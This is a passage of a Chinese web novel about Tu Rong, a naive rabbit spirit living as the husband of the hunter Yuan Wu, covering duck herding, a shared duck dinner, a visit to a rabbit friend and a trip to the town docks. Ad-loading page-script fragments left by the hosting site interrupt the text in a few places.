“你!哎!你是谁家的哥儿?莫不是,你是袁武的夫郎?!” 提到恩人的名字,涂茸这才屈尊纡贵般停下脚步,侧身看他,语气格外冷淡:“你谁?” 袁文眼睛一亮:“我是袁武的大哥,是在镇上读书的童生,可村里的土户们不同,若我考中秀才,可是真正有功名的人了!” 他迫不及待地夸着自己,袁文自认在镇上读书这些年,还没有见过这样特别的小哥儿,倒不是指他的美貌,而是那种气质,十分与众不同。 他在镇上也是见过大户人家小姐和少爷的,但都没有面前这小哥儿的独特气质。 “我管你是谁。”涂茸瞪他一眼,快步朝河边走去。 堂姑这几日都没有叫他,衣裳也攒了好几日了,他得趁天晴快些清洗了,好让恩人能有换洗的衣物。 可谁知后面这人一直跟着,还总要和他搭话,当真是烦人! “我是来请三弟和你回家的,我们都是亲人,怎么能说断亲就断亲,若是回家,娘也能照顾你们,洗衣做饭。”袁文试图说些好话从而哄他们回去。 “你胡说!”涂茸猛地扭头看向他,眼底闪着愠怒,“你们才不是亲人,我才是武哥的亲人,唯一的亲人!你这人说话真讨厌,不要再跟着我了,否则我就告诉武哥说你欺负我!” 袁文还欲再说些什么,只是袁武前几日确实吓到他了,如果对方真找来,他打也打不过。 将人赶走,涂茸这才赶到河边洗衣裳,只是他去的不巧,河边已经没什么人了,他原本还想着和那些婶子们讨教一番。 毕竟恩人现在都不和他睡觉,他又怎么会有娃娃呢? 涂茸没见到熟悉的婶子,学着其他人洗衣裳的样子,使劲用木棒将衣裳捶来捶去,污垢便会随着大力敲击被捶出来。 他专心致志地洗完一盆衣裳,回到茅草屋时盖房子的工匠们都在休息,涂茸赶紧将衣裳晾好,然后屁颠屁颠儿的跑到袁武面前。 他扬起笑脸:“我洗完衣服了哦!” 袁武被他笑意感染,也跟着咧开唇角:“这么厉害?” “很厉害!”涂茸毫不吝啬地夸奖自己,夸完他又突然想到袁文,原本明艳的脸蛋瞬间耷拉下来,他低声道,“有个很坏的家伙跟着我,说要我们去袁家,他坏的!我把他吓跑了!” 袁武掀掀眼皮,不用想就知道是袁文,先前去镇上卖猎物时,偶尔也会听几句风流话,知道袁文是什么人,向来以风流自居,做那些自认为潇洒的事。 如今叫他碰见涂茸了,怕是来日还有得纠缠。只是他也不能藏涂茸一辈子。 “做得好,以后自己时遇到他,就躲着些,别叫他碰你,明白吗?”袁武得先把这小傻子给叮嘱好了。 “我明白哦,他不想让我做你的亲人,我讨厌他,我就要做你的亲人,我还要给你生娃娃,这样我们就会有很多很多亲人!武哥,我们生娃——” “闭嘴!没羞没臊!” 12. 神奇 因着涂茸很喜欢茅草屋,袁武便没动那块地方,再加上他们也得有住的地方,干脆就继续留着了,以后还能做柴房,放打来的猎物。 眨眼又半月过去,砖瓦房也已经彻底盖好,幸好这段时间只是变冷,并没有下雨,否则日子还要再往后拖。 房屋建成后晾晒了几日,他们便直接住了进去,只是还没有家具,偌大的房屋便显得有些空了。 袁武照旧还会去山里放陷阱,之前只是在路上走着,都会看到跑到路边的野兔,可见山里还是有很多奔跑的猎物,若是能在冬日也猎到,定然能卖出好价钱。 “我要进山看看,你就在家里待着,要是觉得无聊,就去堂姑家找程月,她经常去河边赶鸭子,你也去玩。”袁武又仔细叮嘱些其他事情,便出门了。 晨起冷的厉害,门窗都紧闭着,涂茸看不到屋外的日光,但也知道袁武只会在天气不错时进山。 被推醒时涂茸还迷糊着,听到他说话在床上躺着迷瞪了一会,便要挣扎着起床,可谁知再坐起来时,早就过去好一会的好一会了,人早就没影了。 他趴在床上打着哈欠,眼底窝出一汪眼泪,他随手擦掉,想到恩人说的话不免有些意动。 他来玉灵村也有一段时间了,虽说还没有怎么出过家门,但除去袁家不说,他还是认识了好些人的,比如村长一家和堂姑一家。 程月,就是堂姑家的小女儿。 性格很活泼,时常会去河边赶鸭子,还总会和他说很多有意思的事,他很喜欢听那些趣事,涂苒也喜欢,如果他也喜欢和人类玩就好了。 涂茸微微叹息起床,按照恩人教他的洗脸梳头,将衣裳穿戴整齐,便去厨房找饭吃了,等他将自己都收拾好,这才挎着堂姑给他的小布包去找程月了。 他起得晚,走到程家门口时,程月竟是才往外赶鸭子。 “茸哥儿!”程月看起来有些慌乱,却也很欢喜,“你来了,我跟你说,我家鸭子昨夜里孵出好几只小鸭子,你要不要?” “我得问问武哥。”养活物这样的事,还是要当家做主的说了算,他平时要零嘴还行,这些不能自己做决定。 程月想想也是,她很懂的点点头:“也对,三哥知道的东西多,他要是愿意,我就送你两只,不过不能送你太好的,还要留着下蛋呢。” “没关系哦。”涂茸不在意这些,他只知道程月愿意送他已经是天大的好事了。 “那我们去放鸭子吧,我带好了干粮,你带了吗?”程月说着便上前看他的小包,“哇!你带这么多好吃的?” 有热乎乎的饼子和咸菜不说,居然还有果脯和糕点! 涂茸弯起唇角,很自豪地说道:“是哦,我说果脯很好吃,就有吃不完的果脯,说糕点很好吃,就有吃不完的糕点了,武哥真的很神奇。” 程月看向他的视线有些许无奈,神奇吗?她要是有银子,她也买买买! “三哥很喜欢你,我们都觉得他很凶,但他对你很好,你也要好好和他过日子,知道了吗?”程月一脸严肃地叮嘱他。 虽然涂茸看起来不像是那种会为了银子抛夫的小哥儿,但半点都没有会照顾人的样子,但三哥喜欢,只要他不做坏,就算不会照顾人也没事,慢慢学就好嘛! 何况,她和阿娘都会教他的。 涂茸不太懂什么叫“过日子”,这里的人都很喜欢说这句话。 见他吃点心要说他不会过日子。 见他不洗衣做饭也要说他不会过日子。 可他明明就有很好很好的和恩人一起生活着,没有做坏事,这难道是好好过日子吗? 两人朝河边走去,放鸭的地方是条小河流,水不深,程月有时候还能在里面抓到小鱼喂鸭子,有时捉的多,还能拿回家炖鱼汤。 “等我把鸭子赶进去,我们就在旁边转转。”程月说着就嘴里叫嚷着什么,把鸭子都赶进河里了。 这时候养些家禽不容易,家家户户凡是养的家畜的都会做好标记,所以也不怕丢。 涂茸就在旁边乖乖站着等,嘴馋忍不住了就扣几枚果脯吃。 两人朝河后面的小山走去,虽然已经变冷,山里已经没有新鲜水果,但若是能挖些野菜也是好的。 别看程月才十四岁,也是干活的好手,眼睛一晃就能看出来也野菜在哪,蘑菇在哪片树根底下藏着。 “最近都晴着,我还以为不会有蘑菇呢!”程月欢喜地往自己的背篓里放,扭头见涂茸盯着蘑菇看,便往他的布包里也放了些,“你得自己找,它们爱在树根底下藏着。” “谢谢。”涂茸没拒绝,跟着她一起猫腰在树根底下翻来翻去,有些被枯叶压着的,都长的很好。 他像是在捡宝物,每一株都采的很小心,慢慢放进布包里,然后再露出笑容。 他想,自己明明是来玩的,却还能找到这些,恩人一定很开心。 “茸哥儿!茸哥儿你快来!”程月压低声音喊他,视线却一直盯着前面。 涂茸对这样的说话方式很熟悉,每当他和涂苒做坏事,或者即将做坏事的时候,就会这样,偷偷摸摸的。 他便立刻佝偻起身体,然后悄悄走过去,直到走近,才知道程月为什么这么惊讶。 原本穿过小山树林是另一片湖边,湖边有高高的芦苇,此刻却能看到好多水鸭在湖的上面盘旋,有水鸭,就一定会有水鸭蛋! “我们要抓它们吗?”涂茸低声询问。 “抓不到,我们等它们飞走,就抱些水鸭蛋离开,我大嫂有身孕了,如果能有水鸭蛋补身体,就不用吃家里等着要卖的鸭蛋了。” 身孕啊。 涂茸撇撇嘴,他也很想给恩人生娃娃,到时候应该会算他报完恩了吧? 然后就按照涂苒说的回到玉灵山,只是他隐约有些舍不得平时要吃的糕点和果脯…… “快快快!飞走了!” 随着程月一声吼,涂茸立刻瞬间窜了出去,他下意识追着扑扇翅膀的水鸭,胡乱伸手时,还真叫他拽下来一只! 程月在旁边看的眼睛都瞪大了,这速度是不是有点太快了? 而且怎么还能抓到呢! “程月,你帮我呀,快来帮我呀!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “来来来了!” 在程月扑过来之际,涂茸稍稍用了些术法,这水鸭瞬间被牢牢桎梏住了,扑扇着翅膀,见飞不动跑不了,便不再挣扎了。 涂茸气喘吁吁地躺倒在旁边,差点就真要抓不住了,这也太考验兔兔了! 程月不敢歇息,抓了一把芦苇,直接把水鸭的一只翅膀给绑上,这才彻底松了口气。 两人歇了一会,便在芦苇丛里开始找水鸭蛋,果真叫他们找到一窝,蛋壳有些微微的青色,还有几枚是发白和肉色,比鸡蛋要大上好几圈。 “真好,你大嫂就能补身体了。”涂茸说。 “可这些是你找到的,从前我自己在这边放鸭子,一次都没有见过,你真的愿意分给我呀?”程月有些迟疑,这么多水鸭蛋,若是拿去卖能卖好几十文呢。 涂茸点头:“你都愿意分给我小鸭子,我也愿意分给你水鸭蛋。” “谢谢你茸哥儿!” 程月欢喜地摸了几枚鸭蛋放进背篓里,还贴心帮涂茸也装好,至于那只大水鸭,这是茸哥儿抓到的,她不能惦记不属于自己的东西。 两人在河边吃的午饭,涂茸就着咸菜将饼子吃完,还吃了些果脯溜缝儿,肚皮一紧,眼皮就松,他就有些困了。 程月见鸭子们都不下水了,便站起来道:“鸭子们都吃饱了,我们也回吧?三哥说不定都回去了,还能让他给你炖鸭肉吃。鸭肉应该很好吃。” “你没有吃过吗?”涂茸问。 “没有,家里能养这些都是稀罕的,鸭蛋都是吃破碎的,但也有好久不吃了,鸭子就更别说了。”程月神情有些落寞,“咱们农户人家,哪有闲钱吃肉呀?” 涂茸不懂,养鸭子卖鸭蛋的银子不是都能买肉吃吗? 但他没这样说,他只弯起眉眼:“那等武哥做好,我给你和堂姑送去一些,水鸭又不是花银子买的哦!” 程月莫名觉得眼眶有些温热,这样的东西,原也竟是能在别人家随便尝到的吗? 家中虽待她很好,但也绝对没有她要吃肉就有的道理,她虽羡慕,却生不出半分嫉妒的心思,不同人,不同命罢了。 轰隆—— “呀!要下雨了!”涂茸竖起两只耳朵抬头,阴云已经在缓慢攒聚到空中了,他见过这种情况,很快就会被雨淋湿。 “我们赶紧回去吧!” 两人合力将鸭子赶回岸,然后朝着村里奔跑,只可惜雨来得及,依旧被雨打湿了。 涂茸没先跑,而是帮程月把鸭子赶回家里,才背着大水鸭抱着布包朝家里跑,没跑两步就瞧见前面一道高大身影。 “武哥啊哈哈哈……”他欢快笑出声,更奋力朝前跑去,“武哥,我抓到一只水鸭,我们吃鸭呀!” 袁武撑着伞,看着远处不断跑近的身影,越来越近,伴随着笑声和喊声,直接就钻到了伞下,以及……他心里。 “这样开心?”他接过对方背上的大鸭和布袋,一只手就能拎得住。 “开心,想和你一起吃鸭。” 他虔诚献出自己今日找到的最大的宝物。 13. 吃鸭 一把伞遮不全两个人,但倾斜的伞却能将想遮的人遮住。 涂茸全然不觉这些,他飞快跑屋檐下,奋力甩着脸上残留的水珠,他看着收伞的袁武嬉笑道:“武哥,水鸭要怎么吃呢?还有水鸭蛋,我摸到很多。” “一会再做,我烧着热水,你先洗洗。”袁武将湿掉的外衣脱下,边说边朝厨房走去,顺便将水鸭和水鸭蛋也放进去。 “那我先洗哦,你也好快点过来洗,我们一起洗的话可以很快洗完,然后很快吃鸭肉,程月说她都没有吃过,武哥肯定也没有吃过,你一会要多吃点哦……” 清亮地声音萦绕在耳畔,随着他进屋,声音变小,袁武这才静下心去给他打热水。 家里的各式桌椅板凳都是袁武亲手做的,包括洗澡用的浴桶都是他拿着砂纸一点点打磨的,以保证小哥儿洗澡的时候,不会被边缘的木刺炸扎伤。 袁武将水倒进浴桶,觉得水温差不多,就要叫等在里面的人泡澡,哪知刚转身就瞧见赤条条的小哥儿正站在他身后看着他。 袁武大惊:“你做什么不穿衣裳!” “洗澡要穿衣裳吗?”涂茸讶异,转身就准备去将衣裳捡起来穿,“好奇怪哦……” “穿什么穿!还不赶紧进去,说你是傻子还觉得话难听,得了风寒,喝药苦不死你!”袁武虚张声势地拔高音量,视线却躲着不敢看他,侧眸拽着他手臂,把他塞进浴桶里,水瞬间就溢了出来。 涂茸笑起来:“好暖和哦,往年冬天都只有冷水喝呢!现在居然还有热水澡!武哥,我肯定会听堂姑和程月的话,好好和你过日子哦,我会很快学会洗衣做饭,种田,还有打猎,然后给你生娃娃,一个够吗?我看别人都生很多哦……” 袁武只当他是说笑,自从认识以来,他说这话没有百遍也有数十遍,现在清晨还起不来,这话半分都信不得。 他将皂荚放到涂茸触手可及的地方,干净的布巾和衣裳都放到旁边的木架上,等他洗完澡就能直接使用。 “武哥?”涂茸察觉到他要走,立刻扭头看他,“不和我一起洗吗?木桶很大呀?” 袁武曲起手指在他额头重重一弹,低笑道:“我得先去做饭,否则你一会又要在门口蹲着等了。” “哦……”涂茸莫名觉得耳朵很烫,他抬手摸了摸,没再多说什么,缓缓往水里沉了沉,只露出一双明亮的眼睛。 袁武将鸭子处理好,分成两半,水鸭本就大,只有一半也是够他们两个吃的,何况还有水鸭蛋,也能炒菜。 先前在军营跟着学做饭,火头军们都很舍得用料,导致他口味也有些重,新房盖好后,就将厨房内该用的柴米油盐都买全了,这会做起红烧鸭来很得心应手。 先将半只鸭剁成块,下锅煮熟,再捞出来备用,将锅清洗干净,他没敢倒太多油,涂茸似乎有些吃不惯重油,何况鸭子自身也有些油。 待油热放进他提前准备好的调料,调料香出来后,再将鸭块重新放进去翻炒,经过煸炒的鸭肉会滋滋冒出油花儿,肉香瞬间就飘散出来,再舀些清水放进去炖煮就可以。 他突然想到还有坛清酒,按理说多放些更入味,但不确定涂茸能不能吃酒,便只少放了一些。 “好香呀!”涂茸探头进厨房,看见那道身影,立刻笑弯眼睛,“武哥!” 袁武偏头看他,微抬下巴示意,后者便立刻蹦哒进厨房,揪着他腰间的衣裳,猫腰将头探向锅内。 “煎蛋还是炒蛋?”袁武问,问完又觉得对方是傻子,解释道,“煎蛋就是煎成完整的蛋形,炒蛋就是碎的,烂的。” “我不要我不要吃碎的,是完整的。”涂茸揪着他腰间的衣裳轻轻晃着,又拍马屁道,“武哥想吃什么,我就吃什么。” 袁武嗤笑一声:“我爱吃碎的。” 涂茸脸上的表情瞬间淡下去,甚至有些委屈,到底是刚成人形的兔子,还不能很好控制自己的表情。 袁武不理会他的神情,便自顾自打蛋进油锅,听着滋滋声和身后低低的嘶嘶声,他心情大好地翘起唇角,逗傻子的感觉真不错。 “完整的!”涂茸瞬间瞪大眼睛,他惊喜地看着锅里的蛋,又看看袁武,不自觉便撒起娇来,“武哥你真好,我肯定肯定好好给你生娃娃,和你过日子……” “傻子。”袁武轻弹他额头,将煎蛋放进盘里,在上面撒了几粒盐巴。 屋外小雨淅沥,屋内飘满肉香。 涂茸撸着袖子拿着鸭块啃,碗里的米都沾上了油花和酱色,他却根本顾不上吃。 “武哥吃武哥吃!”涂茸见他盯着自己看,便立刻捏起一块递到他嘴边,“好吃哦,武哥很厉害,比菜叶好吃多了!” 兔兔我呀,可以吃三大碗! 然后,啃了几块肉,涂茸又饱了。 袁武无奈吃起他的剩碗底,鸭肉咸香,他也吃了两大碗米饭才饱。 “你不是还要给堂姑家送鸭肉?”袁武见他捧着肚子懒得动弹,便想让他动动。 “要去哦。”涂茸瞬间来了精神,但看盘子里还有好些,他立刻端起来就要走,“那我就拿走啦!” 袁武赶紧制止他:“傻子!怎么能拿吃剩的给别人,厨房里有盛好的,堂姑家吃饭晚,这会过去赶得及。” “那我去哦。” “撑把伞。” “知道啦!” 袁武看着他撑伞离开,这才回屋收拾,顺便洗澡。 涂茸撑着伞小心朝袁秀英家走去,怀里的小竹篮就显得有些笨重,生怕里面的汤汁和鸭肉会洒出来。 尽管有些慢,但还是顺利到达袁秀英家门前,屋外没人,他便站在院里喊:“堂姑,程月,我来送东西啦!” “茸哥儿!还下着雨怎么就过来了!”程月一头扎进雨里,小心朝他跑来,她看得出对方穿的是新衣裳,生怕溅到他身上泥点子。 涂茸赶紧用伞遮住她,笑道:“我来给你送鸭肉,武哥做的可好吃了,你快闻闻,香不香嘻嘻!” “茸哥儿……”程月红了眼眶,她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 颤抖着嘴唇拒绝,“不行,这好东西怎么能随便送人,你拿回去吃吧,我们不吃这些,家里有菜吃呢,你等着,我进屋给你拿些干菜!” 她说完就往屋里跑,涂茸眨眨眼更过去,躲到檐下便将伞放到旁边,呆傻傻地端着碗等着。 袁秀英许是听程月说了,赶紧出来迎他,看到他手里的东西更是开口嘟囔:“就说你不会过日子,这好东西咋能随便给人,三小子吃得多,都给他留着啊!你这孩子,谁要都给啊!小月不懂事,你也不懂事,气死我你们才开心!” “武哥让端来的,我听他的。”涂茸将碗递过去,很认真地解释,“我有和武哥好好过日子,好好吃饭睡觉不添乱,就是在过日子,武哥说的。” “娘,茸哥儿下着雨送来,不好叫他再迎着雨回去,就收下吧,地窖里还有菜,多给他们拿些,有来有往的,还能亲近些。”程康笑说着,“三哥念着咱们,咱们也念着他就成了。” 袁秀英瞪他一眼:“显着你会说了,肉和菜能一样吗?天天让你吃菜,看你再叫唤!等天晴了去你三哥那转转,看看有没有要帮忙的,就知道吃!” 话说了这老些,袁秀英见儿子也想吃,便将这肉留下了,并给涂茸拿了好些干菜调料,还有她留着舍不得吃的糖块,都给他装上了。 明明只端着一碗来,走时却带着一篮子,涂茸觉得他有点喜欢这种感觉,不过明明都要收下,为什么还要说那些拒绝的话呢? 真是搞不懂人类。 “傻子当然搞不懂。”他将这事说给袁武听,自然又得到一句打趣。 涂茸呲呲牙:“你坏!” 袁武捏捏他脸蛋,尽量解释地直白易懂:“这是亲朋间的客套,不能随便收别人的东西,关系再好都要知道感谢,你有感谢过你的朋友吗?” 这倒是问住涂茸了。 他很少和涂苒说谢谢,甚至往年冬日,只要没吃的,就去涂苒那赖着不走,对方虽然总会捶他,但也没赶过他。 按照武哥说的,他得好好感谢涂苒。 见他不回应,袁武就知道这傻子根本没做过这种事,他突然想到什么,问道:“那你的朋友们,都在哪?你可以把他叫来,好好感谢。” “都在山里,他们不爱出门的,都是在山里找食物吃,我有说请涂苒吃肉肉,但他打我哦。”涂茸哼哼笑,“但我还是要请他吃肉肉,我把他叫来好不好?” “你的朋友,当然好,只是他要从很远的地方来吗?”袁武眼睛盯着他的表情,像是随口提醒,“要是太远,等他到了,肉就坏了。” 坏了?! 涂茸立刻摇头保证:“不远不远!他就在玉灵山,我能把他叫来的,不要让肉肉坏掉,武哥~” 刚成人形的兔子,哪里斗得过做了十几年人的人,三两句就套出话来。 袁武震惊于他的朋友都在玉灵山,山里哪有人户,即便有,也早在几十年前成了玉灵村的村民。 总不能,这傻子的朋友都是山妖精怪! 14. 乖巧 。“涂苒!” 得到准确允准,涂茸第二天就趁着袁武不在家时进山去找涂苒,只是他在涂苒窝前转悠好久都没有见到人,只能扯着嗓子喊。 他想把涂苒请到他和武哥的家里吃饭,或者等冬日里就把涂苒也接到家里,让他赖着不走,家里被褥那么暖和,他肯定会很喜欢的! 涂苒抱着捡来的果子和野菜回来时,就瞧见洞口坐着老大一道身影,自然是以它兔子视角看到的。 “你跑这做什么?”涂苒皱眉,“难不成你那个武哥欺负你了?” “不是哦,武哥让我请你去家里吃饭呢。”涂茸将始末都和它讲清楚,然后试探询问,“你会去的吧?肉肉真的很好吃,你会喜欢的,我保证哦。” 涂苒一听就知道这傻子中计了! 它拿起一枚果子奋力丢到涂茸身上,恨铁不成钢道:“真是傻子!玉灵山都没有人住,我凭空从这里出去像什么!像妖怪!” 涂茸真情实感道:“我们本来就是妖怪呀,小兔妖。” 涂苒仰天长舒一口气,身形矮小的兔子竟是显出几分愁绪来,他该拿什么来拯救这只笨兔子的智商! 如果他真从玉灵山变成人走出去,那袁武必然会知道他们就是妖怪,到那时候,等待它们的会是什么,谁也说不好。 若是此事影响涂茸日后修行,那更是不得了了。 “我明日不能化成人形去,被别人知道我们是妖怪,会被烧死的,知道吗?会被做成兔子肉,吃掉!”涂苒只能厉声恐吓他,希望他不要一心软,就把身份全盘托出。 涂茸是它们一族的希望,就算再傻,也不能被人吃掉。 “……我知道了,我肯定不会胡乱说的,可你如果以兔子形态出现,就不能吃肉了,我想和你住一起。”涂茸撇撇嘴,他有些想念在涂苒洞里撒泼打滚的日子了。 “我会想办法的。”涂苒说。 涂苒聪明,它向来是说到做到的脾性,听它这样说,涂茸好似有了主心骨一般松了口气。 既然不能以人形出现,那作为兔子出现也是可以的,谁说朋友不能是动物呢? 袁武得知这事,还有些愣神。 他就说,果然是个傻的,朋友是只兔子不说,竟还要进山去征求一只兔子的意见? 这话说出去都没人信。 他无奈扶额:“你朋友……如果要来,我应该准备什么?胡萝卜?” “它爱吃甜甜的青菜,甜甜的果子!”涂茸很开心,武哥连他的朋友喜欢吃什么都要照顾到,果然武哥是喜欢他的! 袁武轻笑,居然还有不爱吃胡萝卜的兔子吗? “地窖里有,你的朋友什么时候来,你就拿给它吃吧。”袁武无奈,一只兔子的话,还真是没有什么好招待的,“我这几日准备去镇上做工,你自己在家好好待着。” 涂茸神情一凛:“什么时候?我会起床做饭的!” 袁武没指望他,但还是说道:“明日就去镇上看看,猎物最近猎到的少,得找其他活干,你别担心。” 他其实并不想说这些,但涂茸傻归傻,他也不想让对方因为银子的事发愁,这种事自然是该当家汉承担责任,他娶涂茸,也不是图他洗衣做饭。 涂茸抬眸看他,眼底终于漫起一丝怀疑:“是我、是我吃太多,银子不够用了吗?” 看吧。 袁武就知道自己不该说这些。 “不是。”他一口否定,并解释道,“冬日能吃的菜少,家里没有田地,得用银子买,就算你不吃,我也要吃,所以和你没关系。” “这样啊,那我也去做工吧!我也不知道我会什么,但镇子那么大,总能有我可以做的……吧?”涂茸有些不确定,他还没有出过玉灵山玉灵村,不知道外面到底是何模样。 袁武看傻子似的看他一眼,没忍心打击他,就他这小身板,苦力活做不了,精明事也干不了,去了就得被人骗。 晨光熹微,袁武就已经收拾妥当准备去镇上了,码头每日都有做苦力的,他这把子力气,去卖个力气也能多少赚一些。 涂茸终于挣扎着爬起来,他迷瞪着眼睛开始叮嘱:“干粮带上了吗?咸菜呢?要带衣裳吗?幸好我前两天有洗衣裳哦!还是我陪你去吧,我在旁边陪你,你会开心点嘛?” “不带衣裳,我晚上就回来,你在家里等着别乱跑。”袁武说,又想到袁文已经去镇上书院了,村里应该是不会有事,何况涂茸那张嘴也不容小觑。 “那我等你哦。”涂茸突然伸出双臂,仰头看他,“抱抱么?” 袁武垂眸看着他,那双眼睛赤诚饱含期待,他默不作声,上前轻轻抱住对方,纤弱地身子几乎要嵌进他身体里。 涂茸轻轻拍拍他肩膀,指尖泛起微微白光,眨眼间就落进了袁武身体里,消失不见。 “走了。”袁武屈起手指轻弹他脑门,带着干粮出门了。 涂茸带着笑容满意躺下,这样一来,他就能感知到恩人的气息了,就是有些费力气,得再休息一会才行。 等他再醒来,已经是晌午了。 他爬起来洗脸穿衣,将口齿清洗干净才进厨房看袁武做好的饭菜。 大锅下还有微弱的火苗,他掀开锅盖,饼香立刻扑进鼻子里,一张大饼被切成好几角,整整齐齐放在盘子里,还有一碗鸭肉汤炖煮的菜,吸满肉汤的菜看起来油汪汪的,喷香。 他没有费劲将饭菜端进主屋里,而是蹲在灶火堂前就吃了起来,面颊被微微热的火烤着,一顿饭吃得满足又暖和。 将剩余的放好,他拿出柜子里的零嘴便去村口等着了。 村口有几棵大榆树,这时候虽然冷,但也没有到变成枯枝时,他坐在树下,边吃果脯边张望村口方向,希望袁武能早点回来。 “这不是三武家的夫郎吗?在这干啥呢?” 涂茸扭头看过去,是不怎么眼熟的婶子,旁边还有个汉子,他想到袁武的叮嘱,只冷静点了点头,并没有要多说的意思。 那婶子也不恼,只柔声关切道:“三武去镇上扛大包没这么快回来,你不如回家等着。” 涂茸耳朵微动,神情立刻殷切起来,他看向那婶子,欢喜询问:“你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知道武哥在哪里吗?” 那婶子愣了愣,看向身侧的汉子:“说话啊,你不是见了吗?” 汉子木讷道:“在镇上码头。” 涂茸便更欢喜了:“那我去找他吧,我也能去镇上找做工,或许还能赚些铜板。” “你咋去,从咱们村走到镇上,少说都要一个时辰。”婶子有些不赞同,“你就在家里等着,他晚些时候就回来了。” “那么远吗?那我走快些吧,或者有谁要去镇上吗?我们可以一起去。”他说完便殷切地看着面前这连个。 只可惜,眼前的妇人和汉子是从田地里回来,可不是要出村,自然不能和他一起。 涂茸就只能继续等着,已经是晌午时候,就算真有人要出发去镇上,也不会在这个时辰,他微微叹息,直到手里的一包果脯都吃完,才发现有辆牛车正慢悠悠朝村口驶来。 他定睛一瞧,是认识的! “刘全大哥!刘全大哥要去镇上吗?带我吧?我要去找武哥!”他兴奋地跑到刘志面前,“他已经出去很久了,去做工了,我也要去做工!” “哦好好……那你上来。”刘志性格憨厚,他本就是要去镇上送东西的,听涂茸说要去做工,就没有多想,毕竟村里好多小哥儿夫郎都会去镇上找些活计做。 一人在前赶着牛车,一人在后面坐着,偶尔还会聊两句,勉强算得上和谐,约莫过了半个时辰,他们才抵达镇上。 涂茸站在街道上有些无措,他还没有来过人这么多的地方,下意识看向刘志:“婶子说武哥在码头抗包,我不知道在哪里。” “……我送你过去再送货。”刘志说。 “谢谢你哦。” 他乖乖坐在牛车上,察觉到所有人都看着他,便有些慌张地低下头,他还是不适应这么多古怪的眼神,但耳朵却支棱着,听着别人对他的夸奖。 “哪里来的小哥儿,长得可真好看。” “还是头回在镇上瞧见,不是咱们这边的人吧?比镇长姑娘都好看!” “是了,这是要去哪啊?这方向是去码头吧?” 刘志自然也能听到这些议论声,他知道容貌好的姑娘小哥儿容易被欺负,便赶紧驾着牛车离开这条拥挤街道。 袁武干活的码头都是些糙壮汉子,将大包扛到主家,扛得多赚得多,以数量来算工钱的,他们都是闷头干着,也只有吃饭时能稍微休息会,然后继续做事。 袁武没心情歇着,盖完房子家里已经没有余钱了,他得多赚些,才能满足涂茸那张爱吃甜的嘴,多歇一会就得少赚几文,那可不行! “袁哥你休息会吧,午饭你都没咋吃,哪还有力气干活。”其他工人都劝说着,但都知道他家中就一人,日子难过,还要把挣的钱给别人。 “那谁啊?” “是个小哥儿,乖乖,真他娘好看!” “哎哎哎!袁哥,看你呢!” 袁武原本是不理会这些的,但他莫名有种奇怪的感觉,下意识扭头,就见涂茸正乖乖巧巧地站在不远处。 他低骂一声,乖巧个屁! 15. 卖掉 “你来这干啥?” 袁武气势汹汹走到他面前,神情和态度绝对算不上好,甚至隐隐带着怒意。 码头是什么姑娘小哥儿能随便来的地方吗?他之前竟是还小瞧这傻子了,都能找到这里来了! 涂茸对他情绪很是敏感,他抬头和对方对视,惶然询问:“武哥你生气了吗?不要生气吧,我只是不想在村口等着,我觉得我也能做活。” “你能做什么?”袁武放肆打量着他身形,身量纤细,虽然不矮,但也算不得多高,整个人还没有他扛的包重,“你扛包,还是包砸你?” “好吧,我是做不了这些,可我就是想看到你,这样都不行吗?每次家里都只有我自己哦,你不要这样说话,我很难过。”涂茸扁扁嘴,说出口的话却很是直白。 他甚至觉得自己有些奇怪,他不是这样爱生气发脾气的人,但这会却隐隐觉得有些不舒服。 做人的时日太短,他还不知道这种叫“委屈”的情绪,自然也不知,它很能折磨人。 袁武与他对视,向来情绪饱满开朗的人,此时眼圈都微微红着一些,本该红润的唇,此刻也有些发白起皮。 指责的话便再说不出了,此刻人已经在这里了,说再多都是无用。 他很识趣道歉:“我不这样说了,赶路辛苦了,你在这里等我。” 袁武说完便朝码头走去,方才和他说话的工人们立刻围了上去,一人一句不停说着。 “袁武老弟那是谁啊?你啥时候娶夫郎了?” “看着像是哪家的少爷,他有兄弟姐妹吗?那模样真是好看,袁哥你干啥去?” 袁武懒得听他们说这些,直朝管事走去,将眼下的情况明说。 管事略有些不满地看向等在不远处的人,紧皱地眉头瞬间松开了:“你小子……就看在你干活利索的份上,明日早些来,莫要耽误时辰。” “多谢。”袁武朝他道谢,收拾好自己的东西,快步朝涂茸走去。 管事轻笑,有这样的夫郎,是得好生陪着。 袁武走过去,无视周遭的视线,旁若无人地将他的手指戳在自己腰间,他低声:“我们走,你饿不饿?怎么来的镇上?” 涂茸心情大好的戳戳他腰间肌肉,满脸笑意道:“是刘全大哥送我来的哦,他要去卖东西呢,他人很好。我起来有吃饭,吃了饼子和菜,还在村口等你的时候吃了一包果脯。” 怪不得嘴这样干。 “那去吃饭。” 袁武带着他离开码头,直奔人声嘈杂地街道,街道两侧都是各种铺面,虽说他也刚回来没多久,但前阵子总来镇上卖猎物,多少还是了解一些的。 幸好他总习惯随身带些银钱,否则怕是今日都没有铜板带这小傻子吃饭了。 他带着涂茸进了一家不大的店面,店小二一瞧见他身形立刻就迎上来,这高大健硕的汉子,一看就是顶能吃的! “客官要吃点什么?”店小二笑声询问。 袁武偏头看了一眼涂茸,接话道:“先来两碗面,带肉的!” “得嘞,茶水不收铜板,客官自己倒。”小二说完便立刻走开了。 袁武带着涂茸坐下,给他倒了满满一杯茶水:“喝,嘴都起皮了。” “好哦。”涂茸抱着茶杯咕嘟咕嘟,一口就喝完了,然后又将茶杯推到他面前,意思便是还要喝。 可见是真渴了。 袁武不免有些愧疚,倒茶水的动作都快了很多,向来不爱多话的人,此时却有些控制不住嘴唇,不住叨叨着:“让你在家中等,等就是了,嘴上答应怪好,转头就追到镇上来,你人生地不熟,回头被卖掉,家都回不了!” “没有人能卖掉我。”涂茸略有些得意地说着。 他可是在玉灵山开了灵智的,只要他想,不管在哪里,随时都能回来。 “傻子。”袁武低声呵笑,终是没再说什么,但想到涂茸乱跑的行为还是决定吓唬他一番,“只是我近日都要在码头做事,你不要再找来了,你若是丢了再回来,就不是我家的人了,我就不要你做我的家人了。” 涂茸喝水的动作都变慢了,他皱眉不解:“怎么能这样,我都说不会丢了……” 